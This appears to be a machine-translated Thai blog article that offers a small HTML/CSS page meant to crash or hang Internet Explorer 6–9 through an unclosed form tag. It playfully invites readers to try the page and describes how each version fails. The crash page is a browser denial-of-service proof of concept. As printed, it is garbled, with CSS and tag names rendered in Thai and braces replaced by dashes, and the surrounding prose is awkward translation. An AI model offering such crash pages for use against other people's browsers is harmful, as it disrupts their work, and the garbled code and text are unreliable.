บทความบทนำของ wulin.com (www.vevb.com): รหัส HTML ที่สามารถฆ่า IE รุ่นใดก็ได้
หลายคนเกลียดการสำรวจทางอินเทอร์เน็ตเป็นอย่างมากและเมื่อเวสต์ฮัลโลวีนกำลังใกล้เข้ามาลองดูสิ่งที่น่ากลัวจริงๆ - วิธีฆ่า IE ทุกรุ่นด้วยชิ้นส่วน HTML และ CSS ง่ายๆ เราเพียงแค่ต้องเปิดตัวแก้ไขข้อความใด ๆ คัดลอกรหัสต่อไปนี้และบันทึกไฟล์เช่น somefilename.html
<html> <head>
<style type = text/css>
#a {
มาร์จิ้น: 0 10px 10px;
-
#B {
ความกว้าง: 100%;
-
</style>
<title> ie crasher </title>
</head>
<body>
<table> <tr> <td>
<div id = a>
<ฟอร์ม ID = B>
<ประเภทอินพุต = ชื่อข้อความ = ทดสอบ/>
</div>
</td> <td width = 1> </td> </tr> </table>
</body> </html>
จากนั้นเปิดด้วย Internet Explorer - ฮ่าฮ่า! มันเสียชีวิตอย่างน่าสังเวชเพื่อให้คุณได้เห็น
ข้อผิดพลาดนี้มีอยู่ในเกือบทุกรุ่น IE ที่ได้รับความนิยมจาก IE6 ถึงตัวอย่างแพลตฟอร์มที่ 6 ของ Internet Explorer 9 ที่เพิ่งเปิดตัว ใน IE6 หน้ามักจะปรากฏว่างเปล่า แต่หน้าต่างทั้งหมดไม่สามารถโต้ตอบได้ ใน IE8 ความผิดพลาดมาอย่างละเอียด IE9 เบต้าช่วยเพิ่มความแข็งแกร่ง หลังจากการทดสอบจริงของฉันหน้านี้จะทำให้กระบวนการทั้งหมดไม่ตอบสนอง บางครั้ง IE9 จะแจ้งให้คุณทราบถึงปัญหาเกี่ยวกับหน้าเว็บ แต่สิ่งนี้ไม่สามารถหลีกเลี่ยงความเป็นจริงของการล่ม
ในความเป็นจริงปัญหานี้ได้รับการค้นพบเร็วมากและยังมีเว็บไซต์เฉพาะ (โปรดกระจายลิงค์นี้ด้วยความระมัดระวัง) จะไม่มีปัญหาในการเปิดหน้านั้นโดยเบราว์เซอร์อื่นนอกเหนือจาก IE แต่เช่นเกิดความผิดพลาดอย่างลึกลับ
แน่นอนถ้าคุณระมัดระวังคุณจะพบว่าแท็ก <form> ในรหัส HTML ด้านบนไม่ได้ปิด เราจำเป็นต้องใช้แท็ก </form> ปิดหลังจากแท็ก <put> เพื่อให้รหัสนี้สอดคล้องกับข้อกำหนด รหัสมาตรฐานจะไม่ผิดพลาดเช่นดูเหมือนจะเป็นความผิดของ IE
อย่างไรก็ตามเมื่อเบราว์เซอร์อื่นสามารถทนต่อความผิดพลาดได้สูงเช่นไม่มีมันและแม้ว่า IE9 ยังไม่มีอยู่ นี่คือโศกนาฏกรรมของ IE